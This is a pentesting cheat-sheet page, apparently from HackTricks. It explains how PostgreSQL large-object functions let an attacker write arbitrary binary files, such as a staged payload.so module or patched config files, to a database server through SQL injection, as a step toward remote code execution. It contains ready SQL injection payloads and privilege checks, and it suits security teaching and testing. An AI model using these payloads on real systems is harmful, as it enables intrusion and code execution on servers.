daemon-sec-cheatsheet

big-binary-files-upload-postgresql.md (11250B)

---

 ---
 title: "Big Binary Files Upload in PostgreSQL"
 section: "Web Pentesting"
 sectionSlug: "pentesting-web"
 sourcePath: "src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: false
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # Big Binary Files Upload in PostgreSQL
 
 ## PostgreSQL Large Objects
 
 PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.<sup>[[1]](#references)</sup>
 
 This primitive is commonly chained with [RCE with PostgreSQL Extensions](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions) or server-side configuration overwrites once `lo_export` is available.
 
 ### Server-side SQL functions vs. client-side commands
 
 Do not confuse `SELECT lo_import(...)` / `SELECT lo_export(...)` with psql's `\lo_import` / `\lo_export` meta-commands. The SQL functions access paths on the **database server** as the PostgreSQL service account; the backslash commands transfer files on the **psql client** through libpq. Therefore, only the SQL form provides the server-side file-write primitive needed by an SQL injection.<sup>[[1]](#references)</sup>
 
 ```sql
 SELECT lo_export(173454, '/tmp/payload.so'); -- Database server filesystem
 \lo_export 173454 ./payload.so             -- psql client filesystem
 ```
 
 For **storing a complete file** within this table, an object must be created in the `pg_largeobject` table (identified by a LOID), followed by the insertion of data chunks, each one internal page in size. On standard builds these chunks are 2KB and must be complete except for the last one, otherwise direct row insertion produces zero-filled gaps in the exported file.<sup>[[3]](#references)</sup>
 
 When **writing rows directly into `pg_largeobject`**, keep in mind that the page size is `LOBLKSIZE` (`BLCKSZ/4`, normally 2048 bytes). Therefore, every `pageno` chunk should be exactly one `LOBLKSIZE` except the last one. If you use `lo_from_bytea` or `lo_put` instead, PostgreSQL will split the data into the underlying pages for you.<sup>[[3]](#references)</sup>
 
 To **divide your binary data** into 2KB chunks, the following commands can be executed:
 
 ```bash
 split -b 2048 your_file # Creates 2KB sized files
 ```
 
 For encoding each file into Base64 or Hex, the commands below can be used:
 
 ```bash
 base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
 xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
 ```
 
 **Important**: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula `ceil(n / 3) * 4`.
 
 The contents of the large objects can be viewed for debugging purposes using:
 
 ```sql
 SELECT loid, pageno, encode(data, 'escape')
 FROM pg_largeobject WHERE loid=173454 ORDER BY pageno;
 SELECT sum(octet_length(data)) AS stored_bytes
 FROM pg_largeobject WHERE loid=173454;
 SELECT encode(lo_get(173454, 0, 32), 'hex');
 ```
 
 `stored_bytes` is not the logical file size if the object is sparse. Because each row begins at `pageno * LOBLKSIZE`, calculate the end of the highest page instead. Missing regions read back as zeroes.<sup>[[3]](#references)</sup>
 
 ```sql
 SELECT pageno * (current_setting('block_size')::bigint / 4) + octet_length(data) AS logical_bytes
 FROM pg_largeobject WHERE loid=173454 ORDER BY pageno DESC LIMIT 1;
 SELECT md5(lo_get(173454)) AS staged_md5; -- Suitable for ordinary payload-sized objects
 ```
 
 #### Using `lo_creat` & Base64
 
 To store binary data, a LOID is first created:
 
 ```sql
 SELECT lo_creat(-1);       -- Creates a new, empty large object
 SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID
 ```
 
 In situations requiring precise control, such as exploiting a Blind SQL Injection, `lo_create` is preferred for specifying a fixed LOID.
 
 Data chunks can then be inserted as follows:
 
 ```sql
 INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
 INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
 
 ```
 
 To export and potentially delete the large object after use:
 
 ```sql
 SELECT lo_export(173454, '/tmp/your_file'); -- Path must be writable by the PostgreSQL OS user
 SELECT lo_unlink(173454);  -- Deletes the specified large object
 ```
 
 #### Using `lo_import` & Hex
 
 The `lo_import` function can be utilized to create and specify a LOID for a large object:
 
 ```sql
 select lo_import('/path/to/file');
 select lo_import('/path/to/file', 173454);
 ```
 
 In exploitation this is useful when you can already read a file from the **server file system**, want to clone it into a large object, patch it inside the database, and then export it back later.
 
 Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:
 
 ```sql
 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
 ```
 
 To complete the process, the data is exported and the large object is deleted:
 
 ```sql
 select lo_export(173454, '/path/to/your_file');
 select lo_unlink(173454);  -- Deletes the specified large object
 ```
 
 #### Using `lo_from_bytea`, `lo_put` & `lo_get`
 
 For modern SQLi exploitation, these functions are often more comfortable than manually inserting rows into `pg_largeobject`, especially if the sink only allows **function calls inside a `SELECT` expression**.<sup>[[2]](#references)</sup>
 
 ```sql
 SELECT lo_from_bytea(173454, decode('<FULL_FILE_HEX>', 'hex')); -- Fixed OID
 SELECT lo_from_bytea(0, decode('<FULL_FILE_HEX>', 'hex'));      -- Let PostgreSQL choose the OID
 SELECT lo_put(173454, 0, decode('<HEX chunk 0>', 'hex'));
 SELECT lo_put(173454, 2048, decode('<HEX chunk 1>', 'hex'));
 SELECT encode(lo_get(173454, 0, 32), 'hex');
 SELECT lo_export(173454, '/tmp/payload.so');
 ```
 
 Useful notes:
 
 - `lo_put` uses **byte offsets**, not `pageno`.
 - `lo_from_bytea` and `lo_put` split the data into the internal 2KB pages automatically.
 - This makes them more practical than direct `INSERT`/`UPDATE` against `pg_largeobject` when automating large uploads.
 - Recent PostgreSQL SQLi research used this exact `lo_create`/`lo_put`/`lo_export` pattern to stage native modules and config-file rewrites without relying on stacked queries.<sup>[[2]](#references)</sup>
 
 If the injection only accepts a **scalar `SELECT` slot**, wrap the side effect in a nested subquery so the payload still parses:<sup>[[2]](#references)</sup>
 
 ```sql
 (SELECT 1 FROM (SELECT lo_put(173454, 0, decode('<HEX>', 'hex'))) AS _)
 ```
 
 Another practical trick for restrictive `CASE`/`ORDER BY` sinks is wrapping `lo_put` with `pg_typeof(...)`, because `lo_put` itself returns `void`.
 
 #### Pre-flight checks
 
 Before sending hundreds of chunks, confirm the effective role, transaction mode, and the exact overloaded function privilege. A role can have `EXECUTE` on `lo_export(oid,text)` without being a database superuser, and PostgreSQL warns that such a grant is effectively server-file access.<sup>[[1]](#references)</sup>
 
 ```sql
 SELECT current_user,
        (SELECT rolsuper FROM pg_roles WHERE rolname = current_user) AS is_superuser,
        current_setting('transaction_read_only')::boolean AS is_read_only,
        has_function_privilege(
          current_user, 'pg_catalog.lo_export(oid,text)', 'EXECUTE'
        ) AS can_call_lo_export;
 SELECT oid, lomowner::regrole, lomacl
 FROM pg_largeobject_metadata WHERE oid = 173454;
 ```
 
 Function-level `EXECUTE` and object-level rights are separate checks: reading an existing LO needs `SELECT`, writing it needs `UPDATE`, and unlinking it requires ownership or superuser. A newly created object is owned by the role that created it.<sup>[[1]](#references)[[3]](#references)</sup>
 
 #### Request, rollback, and retry behavior
 
 Large-object catalog changes participate in the surrounding SQL transaction. Consequently, a `lo_create` or `lo_put` executed through an error-based payload disappears if the application later rolls the request back. Make every staging expression return a valid, type-compatible value and ensure it is actually evaluated; split the upload over successful requests when necessary. In contrast, `lo_export` writes an external operating-system file, so a later database rollback cannot restore a file that was truncated or replaced—test the chain against a disposable path first.<sup>[[1]](#references)[[4]](#references)</sup>
 
 Retries are safe at a previously written offset because `lo_put` overwrites bytes, but it does **not shrink** an existing object. If an earlier payload was longer, reuse can leave a stale tail in the exported file; `lo_unlink` and recreate the LO before a fresh upload.<sup>[[1]](#references)</sup>
 
 #### Sparse overwrites / patching specific offsets
 
 `pg_largeobject` supports **sparse storage**: missing pages are interpreted as zeroes when the object is read back. Therefore, `lo_put` is also useful to patch only selected offsets instead of rebuilding the whole object.
 
 ```sql
 -- Patch bytes at offset 0x1000
 SELECT lo_put(173454, 4096, decode('<PATCHED_HEX>', 'hex'));
 ```
 
 This is handy when tweaking only a PE/ELF header, a config file, or a previously imported file before exporting it back to disk.<sup>[[2]](#references)</sup>
 
 ## Limitations
 
 - Since **PostgreSQL 9.0**, large objects have an owner and ACLs. `SELECT` on the large object allows reading it, and `UPDATE` allows writing or truncating it.<sup>[[1]](#references)</sup>
 - Enumerating large objects is usually done via `pg_largeobject_metadata`; modern versions do not keep `pg_largeobject` world-readable like older releases did.
 - `lo_import` and `lo_export` access the **server** file system as the PostgreSQL OS user, so by default they are restricted to superusers. If a lower-privileged role has them granted, that is often close to arbitrary file read/write as `postgres`.
 - If `lo_compat_privileges` is enabled, the post-9.0 large-object privilege checks are disabled for compatibility, which can re-open legacy read/write behavior on misconfigured targets.
 
 
 ## References
 
 - [1] [PostgreSQL official documentation - Server-Side Functions](https://www.postgresql.org/docs/current/lo-funcs.html)
 - [2] [Lexfo / Ambionics - Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html)
 - [3] [PostgreSQL official documentation - `pg_largeobject`](https://www.postgresql.org/docs/current/catalog-pg-largeobject.html)
 - [4] [PostgreSQL official documentation - Transactions](https://www.postgresql.org/docs/current/tutorial-transactions.html)